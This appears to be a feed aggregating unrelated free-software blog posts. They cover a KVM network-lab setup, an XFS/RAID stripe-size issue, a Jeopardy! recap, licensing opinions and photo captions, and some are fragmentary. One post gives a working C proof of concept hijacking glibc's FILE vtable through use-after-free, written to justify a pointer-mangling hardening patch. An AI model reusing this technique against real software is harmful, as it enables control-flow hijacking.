MJ Ray: Seize the Media! @theBoyler @coopsutd
1 Angel Square
1 Angel Square
To experiment with network stuff, I was using
UML-based network labs. Many alternatives exist, like
GNS3, Netkit, Marionnet or Cloonix. All of them are
great viable solutions but I still prefer to stick to my minimal
home-made solution with UML virtual machines. Here is why:
make defconfig,
removed everything that was not necessary, added what I needed for my
lab (mostly network stuff) and added the appropriate options for VirtIO drivers:
CONFIG_NET_9P_VIRTIO=y CONFIG_VIRTIO_BLK=y CONFIG_VIRTIO_NET=y CONFIG_VIRTIO_CONSOLE=y CONFIG_HW_RANDOM_VIRTIO=y CONFIG_VIRTIO=y CONFIG_VIRTIO_RING=y CONFIG_VIRTIO_PCI=y CONFIG_VIRTIO_BALLOON=y CONFIG_VIRTIO_MMIO=y
$LINUX is the appropriate bzImage):
kvm \ -m 256m \ -display none \ -nodefconfig -no-user-config -nodefaults \ \ -chardev stdio,id=charserial0,signal=off \ -device isa-serial,chardev=charserial0,id=serial0 \ \ -chardev socket,id=con0,path=$TMP/vm-$name-console.pipe,server,nowait \ -mon chardev=con0,mode=readline,default \ \ -kernel $LINUX \ -append "init=/bin/sh console=ttyS0"
-display none). A serial port is defined and
uses stdio as a backend1. The kernel is configured to use
this serial port as a console (console=ttyS0). A VirtIO console
could have been used instead but it seems this is not possible to make
it work early in the boot process.
The KVM monitor is setup to listen on an Unix socket. It is possible
to connect to it with socat UNIX:$TMP/vm-$name-console.pipe -.
/dev/root as the mount tag to solve this problem. I keep using an
initrd in this post but the lab on Github has been updated
to not use one.
Here is how to build a small initial ramdisk:
# Setup initrd setup_initrd() info "Build initrd" DESTDIR=$TMP/initrd mkdir -p $DESTDIR # Setup busybox copy_exec $($WHICH busybox) /bin/busybox for applet in $($ DESTDIR /bin/busybox --list); do ln -s busybox $ DESTDIR /bin/$ applet done # Setup init cp $PROGNAME $ DESTDIR /init cd "$ DESTDIR " && find . \ cpio --quiet -R 0:0 -o -H newc \ gzip > $TMP/initrd.gz
copy_exec function is stolen from the initramfs-tools package
in Debian. It will ensure that the appropriate libraries are also
copied. Another solution would have been to use a static busybox.
The setup script is copied as /init in the initial ramdisk. It will
detect it has been invoked as such. If it was omitted, a shell would
be spawned instead. Remove the cp call if you want to experiment manually.
The flag -initrd allows KVM to use this initial ramdisk.
kvm \ $ PREVIOUS_ARGS \ -fsdev local,security_model=passthrough,id=fsdev-root,path=$ ROOT ,readonly \ -device virtio-9p-pci,id=fs-root,fsdev=fsdev-root,mount_tag=rootshare
$ ROOT can either be / or any directory containing a complete
filesystem. Mounting it from the guest is quite easy:
mkdir -p /target/ro mount -t 9p rootshare /target/ro -o trans=virtio,version=9p2000.u
/target/ro. I have
used version=9p2000.u instead of version=9p2000.L because the
later does not allow a program to mount() a host mount
point2.
Now, you have a read-only root filesystem (because you don t want to
mess with your existing root filesystem and moreover, you did not run
this lab as root, did you?). Let s use an union filesystem. Debian
comes with AUFS while Ubuntu and OpenWRT have migrated to
overlayfs. I was previously using AUFS but got errors on some
specific cases. It is still not clear
which one will end up in the kernel. So, let s try
overlayfs.
I didn t find any patchset ready to be applied on top of my kernel
tree. I was working with David Miller s net-next tree. Here
is how I have applied the overlayfs patch on top of it:
$ git remote add torvalds git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git $ git fetch torvalds $ git remote add overlayfs git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs.git $ git fetch overlayfs $ git merge-base overlayfs.v15 v3.6 4cbe5a555fa58a79b6ecbb6c531b8bab0650778d $ git checkout -b net-next+overlayfs $ git cherry-pick 4cbe5a555fa58a79b6ecbb6c531b8bab0650778d..overlayfs.v15
CONFIG_OVERLAYFS_FS in .config. Here is how
I configured the whole root filesystem:
info "Setup overlayfs" mkdir /target mkdir /target/ro mkdir /target/rw mkdir /target/overlay # Version 9p2000.u allows to access /dev, /sys and mount new # partitions over them. This is not the case for 9p2000.L. mount -t 9p rootshare /target/ro -o trans=virtio,version=9p2000.u mount -t tmpfs tmpfs /target/rw -o rw mount -t overlayfs overlayfs /target/overlay -o lowerdir=/target/ro,upperdir=/target/rw mount -n -t proc proc /target/overlay/proc mount -n -t sysfs sys /target/overlay/sys info "Mount home directory on /root" mount -t 9p homeshare /target/overlay/root -o trans=virtio,version=9p2000.L,access=0,rw info "Mount lab directory on /lab" mkdir /target/overlay/lab mount -t 9p labshare /target/overlay/lab -o trans=virtio,version=9p2000.L,access=0,rw info "Chroot" export STATE=1 cp "$PROGNAME" /target/overlay exec chroot /target/overlay "$PROGNAME"
$ HOME and the lab directory from host:
kvm \ $ PREVIOUS_ARGS \ -fsdev local,security_model=passthrough,id=fsdev-root,path=$ ROOT ,readonly \ -device virtio-9p-pci,id=fs-root,fsdev=fsdev-root,mount_tag=rootshare \ -fsdev local,security_model=none,id=fsdev-home,path=$ HOME \ -device virtio-9p-pci,id=fs-home,fsdev=fsdev-home,mount_tag=homeshare \ -fsdev local,security_model=none,id=fsdev-lab,path=$(dirname "$PROGNAME") \ -device virtio-9p-pci,id=fs-lab,fsdev=fsdev-lab,mount_tag=labshare
# Setup a VDE switch setup_switch() info "Setup switch $1" screen -t "sw-$1" \ start-stop-daemon --make-pidfile --pidfile "$TMP/switch-$1.pid" \ --start --startas $($WHICH vde_switch) -- \ --sock "$TMP/switch-$1.sock" screen -X select 0
mac=$(echo $name-$net sha1sum \ awk ' print "52:54:" substr($1,0,2) ":" substr($1, 2, 2) ":" substr($1, 4, 2) ":" substr($1, 6, 2) ') kvm \ $ PREVIOUS_ARGS \ -net nic,model=virtio,macaddr=$mac,vlan=$net \ -net vde,sock=$TMP/switch-$net.sock,vlan=$net
-net user flag or using slirpvde on a special switch. I
prefer the latest solution since it will allow the VM to speak to each others.
kvm \ $ PREVIOUS_ARGS \ -gdb unix:$TMP/vm-$name-gdb.pipe,server,nowait
vmlinux file at the root of the source tree and run GDB on it. The
kernel has to be compiled with CONFIG_DEBUG_INFO=y to get the
appropriate debugging symbols. Then, use socat with the Unix socket
to attach to the remote debugger:
$ gdb vmlinux GNU gdb (GDB) 7.4.1-debian Reading symbols from /home/bernat/src/linux/vmlinux...done. (gdb) target remote socat UNIX:$TMP/vm-$name-gdb.pipe - Remote debugging using socat UNIX:/tmp/tmp.W36qWnrCEj/vm-r1-gdb.pipe - native_safe_halt () at /home/bernat/src/linux/arch/x86/include/asm/irqflags.h:50 50 (gdb)
net/ipv6/route.c, just add
CFLAGS_route.o = -O0 to net/ipv6/Makefile, remove
net/ipv6/route.o and type make.
gdb as usual. Your
$HOME directory is available and it should be therefore
straightforward. However, if you want to perform some remote
debugging, that s quite easy. Add a new serial port to KVM:
kvm \ $ PREVIOUS_ARGS \ -chardev socket,id=charserial1,path=$TMP/vm-$name-serial.pipe,server,nowait \ -device isa-serial,chardev=charserial1,id=serial1
gdbserver in the guest:
$ libtool execute gdbserver /dev/ttyS1 zebra/zebra Process /root/code/orange/quagga/build/zebra/.libs/lt-zebra created; pid = 800 Remote debugging using /dev/ttyS1
$ libtool execute gdb zebra/zebra GNU gdb (GDB) 7.4.1-debian Reading symbols from /home/bernat/code/orange/quagga/build/zebra/.libs/lt-zebra...done. (gdb) target remote socat UNIX:/tmp/tmp.W36qWnrCEj/vm-r1-serial.pipe Remote debugging using socat UNIX:/tmp/tmp.W36qWnrCEj/vm-r1-serial.pipe Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done. Loaded symbols for /lib64/ld-linux-x86-64.so.2 0x00007ffff7dddaf0 in ?? () from /lib64/ld-linux-x86-64.so.2 (gdb)
Getting Hotplugging working with a DisplayLink USB to DVI adapter
I merged Dave Airlie s randr provider patches to the server and pushed
them out in preparation for freezing the X server for the version 1.13
release. Before freezing, I figured I should at least test hotplugging
my DisplayLink adapter. Well, that took all day
Sources
For the impatient, here s where all of the bits are. These work on my
machine.
Upstream bits:
[drm:udl_parse_vendor_descriptor] *ERROR* Unrecognized vendor firmware descriptor".
log stripe unit (524288 bytes) is too large (maximum is 256KiB)Usually I don't mess around with the parameters of mkfs.xfs, because mkfs.xfs is smart enough to find near to optimal parameters for your filesystem. But apparently mkfs.xfs wanted to use a log stripe unit of 512 kiB, although its maximum size for this is 256 kiB. Why? So I started to google and in parallel asked on #xfs@freenode. Erik Sandeen, one of the core developers of XFS, suggested that I write that issue to the mailing list. He did already face this issue himself, but couldn't remember details. So I collected some more information about my setup and wrote to the XFS ML. Of course I included information about my RAID5 setup:
log stripe unit adjusted to 32KiB
muaddib:/home/ij# mdadm --detail /dev/md7Apparently, mkfs.xfs takes the chunk size of the RAID5 and want to use this for its log stripe size setting. So, that's the explanation why mkfs.xfs wants to use 512 kiB, but why is the chunk size 512 kiB at all? I didn't messed around with chunk sizes when creating the RAID5 either and all of my other RAIDs are using chunk sizes of 64 kiB. The reason was quickly found: the new RAID5 has a 1.2 format superblock, whereas the older ones do have a 0.90 format superblock. So, it seems that somewhen the default setting in mdadm, which superblock format is to be used for its metadata, has been changed. I asked on #debian.de@ircnet and someone answered that this was changed in Debian after release of Squeeze. Even in Squeeze the 0.90 format superblock was obsolete and has been only kept for backward compatibility. Well, ok. There actually was a change of defaults, which explains the behaviour of mkfs.xfs now, wanting to set log stripe size to 512 kiB. But what is the impact of falling back to 32 kiB log stripe size? Dave Chinner, another XFS developer explains:
/dev/md7:
Version : 1.2
Creation Time : Sun Jun 24 14:58:21 2012
Raid Level : raid5
Array Size : 7811261440 (7449.40 GiB 7998.73 GB)
Used Dev Size : 3905630720 (3724.70 GiB 3999.37 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent Update Time : Tue Jun 26 05:13:03 2012
State : active, resyncing
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0 Layout : left-symmetric
Chunk Size : 512K Resync Status : 98% complete Name : muaddib:7 (local to host muaddib)
UUID : b56a714c:d193231e:365e6297:2ca61b65
Events : 16 Number Major Minor RaidDevice State
0 8 52 0 active sync /dev/sdd4
1 8 68 1 active sync /dev/sde4
2 8 84 2 active sync /dev/sdf4
Best thing in general is to align all log writes to theAnd in another mail, when being asked if it's possible to raise the 256 kiB limit to 512 kiB because of the mdadm defaults to 512 kiB as well:
underlying stripe unit of the array. That way as multiple frequent
log writes occur, it is guaranteed to form full stripe writes and
basically have no RMW overhead. 32k is chosen by default because
that's the default log buffer size and hence the typical size of
log writes.
If you increase the log stripe unit, you also increase the minimum
log buffer size that the filesystem supports. The filesystem can
support up to 256k log buffers, and hence the limit on maximum log
stripe alignment.
You can't, simple as that. The maximum supported is 256k. As it is,So, reducing the log stripe size is in fact a good thing[TM]. If anyone will benefit from larger log stripe sizes, s/he would be knowledgeable enough to play around with mkfs.xfs parameters and tune them to needs of the workload. Erik Sandeen suggested, though, to remove the warning in mkfs.xfs. Dave objects and maybe it's a good compromise to extend the warning by giving an URL for a FAQ entry explaining this issue in more depth than a short warning can do? Maybe someone else is facing the same issue and searches for information and find this blog entry helpful in the meantime...
a default chunk size of 512k is probably harmful to most workloads -
large chunk sizes mean that just about every write will trigger a
RMW cycle in the RAID because it is pretty much impossible to issue
full stripe writes. Writeback doesn't do any alignment of IO (the
generic page cache writeback path is the problem here), so we will
lamost always be doing unaligned IO to the RAID, and there will be
little opportunity for sequential IOs to merge and form full stripe
writes (24 disks @ 512k each on RAID6 is a 11MB full stripe write).
IOWs, every time you do a small isolated write, the MD RAID volume
will do a RMW cycle, reading 11MB and writing 12MB of data to disk.
Given that most workloads are not doing lots and lots of large
sequential writes this is, IMO, a pretty bad default given typical
RAID5/6 volume configurations we see....
By now hopefully you got a chance to see my Jeopardy! episode so it won't be much of a spoiler to mention that I didn't win.
It went like this. I flew into LA on the night of October 31st. The taping was to take place on the next two days. Jeopardy! tapes two weeks of shows, two days a week for a total of 10 episodes. Contestants are randomly chosen for one of those 10 episodes but you don't find out which one you will be on until the last minute. Randomness and secrecy have become become a big part of the production process in games since the quiz show scandals of the 1950s. (Interesting fact: it is a Federal felony to tamper with a TV game show.)
There were a group of just under 20 0f us altogether waiting to go on. All very nice people. Here in the New York area one tends to equate very intelligent people with "Type A" personalities but we got on well together.
Interspersed between the tapings, we had short practice sessions to familiarize ourselves with the studio setup and this is where I first started getting a little apprehensive. Jeopardy! is not just about general knowledge, there is a physical element too in that you have to buzz in by pressing a button on a stick which is wired up to some producers console. You can't buzz in before Alex has finished reading the question and obviously you can't buzz in if someone is already answering the question. If you buzz at the wrong time, your buzzer locks for 0.75 seconds so just jamming your finger on the button. I didn't even get that far as on the entire first day I failed to buzz in at all despite changing hands, changing grip different ways and other strategies. I was pretty despondent by the second day but then miraculously I managed to get the hang of it. So when I was finally selected (for the 3rd game of that day.) I was back to my usual cool self. I was up against Dave Leach and Nicholas Campiz who were returning after having tied in the previous game.
And the game did start well enough. Oh one thing you may notice is that Alex mispronounces my name Jaldhal. I knew he did that once or twice and even mentioned it to a producer but it was only viewing the episode right now that I see he does it consistently. I assumed such things would be fixed up in post-editting but I guess not. Oh well, after living in this country for so many years I've learned to be happy whenever two consonants are more or less in the right place. This particular mispronunciation is actually fairly common, even Indian people have been known to make it. The alternative theory is that Alex couldn't read my horrible handwriting which is also plausible.
Anyway, I digress. I started off fairly well. My first mistake was in a category about alcoholic drinks. I answered vermouth when the correct response was gin. In my defense I'm a strict teetoler so none of these words mean anything to me. I also earned the disapproval of my superhero fan son by mistaking Dr. Strange for Dr. Doom. I did get the one about Spiderman villain Dr. Octopus so that mollified him somewhat.
The highlight of my evening was strangely enough in a category about books of the Bible. I got a Daily Double. It was a risky move but I have always wanted to make a "true" daily double so I threw caution to the winds and wagered everything I had. To my surprise as much as anyones, got the answer right doubling my score.
I was in a pretty good position for the Double Jeopardy but thats when Dave started dominating. If you haven't been watching previous games, Dave Leach is arguably the best player this season. Not only is he smart but he is almost supernaturally fast on the buzzer. You can't see because I kept my hands behind the podium but I again and again I would desperately try to ring in on a question I knew the answer to only to be beaten to the punch by Dave. This caused me to start getting a bit reckless and answering questions where I was less than certain which cost me dearly. One particularly dumb mistake was in a category where all the answers were supposed to start with the letter g. I said compass when I should said gyrocompass but actually I should have left that category alone entirely.
By the time Final Jeopardy came around winning was no longer an option as Dave was too far in the lead. I was slightly ahead of Nicholas in 2nd place. This is where I again made a strategic error. My original plan to bet nothing in Final Jeopardy but the category was "1930s Novels" and I liked my chances. The clue was read out and it involved an anti-war novel whose author was blacklisted. I was elated. It had to be "All Quiet on the Western Front" right? The blacklist bit gave me pause as the author Erich Maria Remarque was German and this was obviously a reference to the anti-Communist blacklist in the 1950s USA. But somehow I remembered that he had spent the end of his life in Hollywood or maybe I just convinced myself that it was plausible. Evidently my thought process wasn't too crazy because all three of us came up with the same answer. All three of us were wrong. The correct answer was "Johnny Got His Gun" by Daltan Trumbo. In hindsight I knew this but it illustrates the strange ways the mind works. I knew because the video for Metallicas song "One" from "...And Justice for All" is based on the film adaptation of this book. However in a previous orientation session the lady who is the contestant coordinator for Jeopardy! had mentioned AQOTHWF as anexample of something and this got stuck in my brain crowding out the previously known fact.
So when all was said and done I ended up in 3rd place. (I bet big whereas Nicholas was more conservative.) Oh well. Despite not winning I had a blast. I fulfilled my dream of appearing on Jeopardy! I met Alex Trebek. (And I should be receiving an autographed picture of us together soon.) My witty banter was sufficiently witty. I made enough money to cover my travel expenses and still have a nice amount left. And I got to meet lots of interesting and wonderful people. So I'm satisfied.
When attacking a process, one interesting target on the heap is the FILE structure used with stream functions (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What s interesting is that this isn t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have:
In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn t protected the FILE structure in the same way.
I m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven t overlooked something, since I d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :)
Here s a quick exploit demonstration in a trivial use-after-free scenario:
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
printf("Dave, my mind is going.\n");
fflush(stdout);
void * funcs[] =
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
;
int main(int argc, char * argv[])
FILE *fp;
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* Allocate and free enough for a FILE plus a pointer. */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/* Open a file, observe it ended up at previous location. */
if (!(fp = fopen("/dev/null", "r")))
perror("fopen");
return 1;
printf("FILE got %p\n", fp);
printf("_IO_jump_t @ %p is 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Overwrite vtable pointer. */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Trigger call to pwn(). */
fclose(fp);
return 0;
Before the patch:
$ ./mini sizeof(FILE): 0x94 freeing 0x9846008 FILE got 0x9846008 _IO_jump_t @ 0x984609c is 0xf7796aa0 _IO_jump_t @ 0x984609c now 0x0804a060 Dave, my mind is going.After the patch:
$ ./mini sizeof(FILE): 0x94 freeing 0x9846008 FILE got 0x9846008 _IO_jump_t @ 0x984609c is 0x3a4125f8 _IO_jump_t @ 0x984609c now 0x0804a060 Segmentation faultAstute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I d like to see this fixed too, but it ll require more time to study. :)
2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
The first day of the Desktop Summit was yesterday, Saturday, August 6. I loved it and gave a presentation. There are two very different stories I can tell on the topic of gender equality in
free software. I'll start with the bad.
So, the "Harmony Project" launched their set of contributor
agreements and tools last week. Colour me unimpressed...
There's a claim on
their website that they
are a "community-centered group", but I don't see any list of people
and organisations who contributed to this work. That bothers
me. Regarding their aim to "assist organisations which use
contribution agreements", I don't think that there is anything of
value here for the Free Software community at all. Free Software
developers don't need contribution agreements, and in my
opinion encouraging their use like this is only going to cause further
splintering of the community. We've managed for a very long time
without them, why start now?
As a developer, I personally don't believe in contribution
agreements at all. If I contribute code to a project, it will be under
the terms of a good Free Software license or not at all. That's all
that's needed. There's a fair body of opinion out there on this - see
pieces
from Bradley
Kuhn, Richard
Fontana
and Dave
Neary for more discussion.
What do you think?
Played around taking a portrait of an "old" friend this week.
Grabbed a shot of my brother's Pug trying to keep cool in the garden at the weekend.
I happened to have some Arum Lillies on hand this week after taking some shots for use by a local funeral director. This is one of the shots I took once I had finished.
I grabbed my camera this week while waiting for the Formula 1 qualifying to start. The cats had made themselves comfortable on the couch, so I start taking a few shots. This shot is Mog looking unconcerned that that I was disturbing his rest.
Back indoors this week, took a shot of my wife, daughter and my own hands. I wanted an image for our bedroom wall that represented our family.
As this week had another bank holiday, I took another trip out with the family. Here is a shot of Swallow Falls in Betws-y-Coed. While there I also shot some panoramic images of the falls which I may post later this week ( if it turns out ).
This week I have a shot I took while visiting Beeston Castle. This is the start of the path leading up to the castle itself.
This week I have a shot I took while visiting Beeston Castle. This is the start of the path leading up to the castle itself.
Having a relaxing long weekend, thought I'd take a shot showing one of the ways I have being spending my time (other than photography of course).
Next.